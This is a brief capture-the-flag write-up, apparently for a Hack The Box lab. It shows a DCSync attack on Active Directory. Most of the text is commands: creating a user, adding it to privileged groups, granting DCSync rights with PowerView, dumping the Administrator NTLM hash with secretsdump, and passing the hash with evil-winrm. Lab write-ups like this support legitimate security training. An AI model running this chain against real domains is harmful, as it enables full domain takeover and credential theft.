DCSync

We need to import PowerView first. And we follow these simple steps:

  1. Create a user.

  2. Use our rights to add the user in the Exchange Windows Permissions group.

  3. Add this user into the Remote Management Users group as well for access.

  4. Use PowerView to give our user DCSync right.

net user anonmak9 Pass123 /add /domain
net group "Exchange Windows Permissions" anonmak9 /add
net localgroup "Remote Management Users" anonmak9 /add
$SecPass = ConvertTo-SecureString 'Pass123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\anonmak9', $SecPass)
Add-ObjectACL -PrincipalIdentity anonmak9 -Credential $Cred -Rights DCSync

Dumping Admin Hash

secretsdump.py htb.local/[email protected] -just-dc-user Administrator -just-dc-ntl

Couldn't crack it so using it as Pass-the-Hash

hashcat -m 1000 admin_hash /usr/share/wordlists/rockyou.txt.gz
evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
